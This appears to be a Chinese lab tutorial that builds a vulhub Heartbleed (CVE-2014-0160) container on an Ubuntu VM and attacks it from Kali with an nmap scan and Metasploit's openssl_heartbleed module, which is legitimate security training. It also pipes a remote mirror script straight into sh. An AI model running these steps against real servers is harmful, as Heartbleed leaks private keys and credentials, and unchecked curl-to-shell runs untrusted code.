赞
踩
两台虚拟机:
靶机 Ubuntu 安装教程查看:安装Ubuntu虚拟机_乌班图镜像-CSDN博客
攻击机:kali
注意配置两台机器同一网段 可以相互ping通
- 1、安装docker:
- apt-get install -y docker.io
- 2、安装docker-compose:
- pip install docker-compose
- 3、配置 docker 加速器(提高容器下载速度):
- curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io
- 3、下载vulhub漏洞目录:
- git clone https://github.com/vulhub/vulhub.git
此时已经可以看到vulhub 文件夹
- cd ~/vulhub/openssl/CVE-2014-0160
- # 进入心脏滴血的漏洞文件夹
- docker-compose up -d
- #安装漏洞环境
- docker ps
- #查看运行状态
看到如下状态,就代表运行正常,接下来攻击
nmap -sV -T4 192.168.10.129
search heartbleed
- msf6 > use auxiliary/scanner/ssl/openssl_heartbleed
- msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.10.129
- rhosts => 192.168.10.129
- msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set rport 8443
- rport => 8443
- msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
- verbose => true
- msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run
到这里,就攻击成功了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。